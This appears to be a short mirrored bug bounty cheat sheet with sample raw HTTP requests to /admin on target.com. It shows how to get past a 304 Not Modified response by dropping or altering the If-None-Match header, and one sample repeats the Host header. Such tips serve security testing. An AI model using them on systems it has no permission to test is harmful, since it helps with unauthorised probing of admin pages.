mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2024-12-22 20:36:10 +00:00
31 lines
666 B
Markdown
31 lines
666 B
Markdown
# Bypass 304 (Not Modified)
|
|
|
|
1. Delete "If-None-Match" header
|
|
```
|
|
GET /admin HTTP/1.1
|
|
Host: target.com
|
|
If-None-Match: W/"32-IuK7rSIJ92ka0c92kld"
|
|
```
|
|
Try this to bypass
|
|
```
|
|
GET /admin HTTP/1.1
|
|
Host: target.com
|
|
```
|
|
|
|
2. Adding random character in the end of "If-None-Match" header
|
|
```
|
|
GET /admin HTTP/1.1
|
|
Host: target.com
|
|
If-None-Match: W/"32-IuK7rSIJ92ka0c92kld"
|
|
```
|
|
Try this to bypass
|
|
```
|
|
GET /admin HTTP/1.1
|
|
Host: target.com
|
|
Host: target.com
|
|
If-None-Match: W/"32-IuK7rSIJ92ka0c92kld" b
|
|
```
|
|
|
|
## References
|
|
* [https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521](https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521)
|